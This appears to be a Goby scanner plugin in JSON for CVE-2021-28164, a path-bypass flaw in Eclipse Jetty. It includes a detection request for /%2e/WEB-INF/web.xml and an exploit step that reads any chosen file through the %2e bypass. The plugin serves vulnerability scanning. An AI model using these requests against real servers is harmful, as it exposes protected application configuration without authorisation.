{
  "Name": "Jetty File Read (CVE-2021-28164)",
  "Description": "In Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224, the default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. For example a request to /context/%2e/WEB-INF/web.xml can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.",
  "Product": "jetty",
  "Homepage": "https://www.eclipse.org/jetty/",
  "DisclosureDate": "2021-06-11",
  "Author": "yanwu",
  "GobyQuery": "app=\"ECLIPSE-jetty\"",
  "Level": "2",
  "Impact": "<p><span style=\"color: rgb(0, 0, 0); font-size: 14.4px;\">In Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224, the default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. For example a request to /context/%2e/WEB-INF/web.xml can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.</span><br></p>",
  "Recommendation": "<p>upgrade</p>",
  "References": [
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28164"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "file",
      "type": "input",
      "value": "/WEB-INF/web.xml"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/%2e/WEB-INF/web.xml",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "<web-app>",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "<display-name>",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "Archetype Created Web Application",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/%2e{{{file}}}",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": [
    "File Inclusion"
  ],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}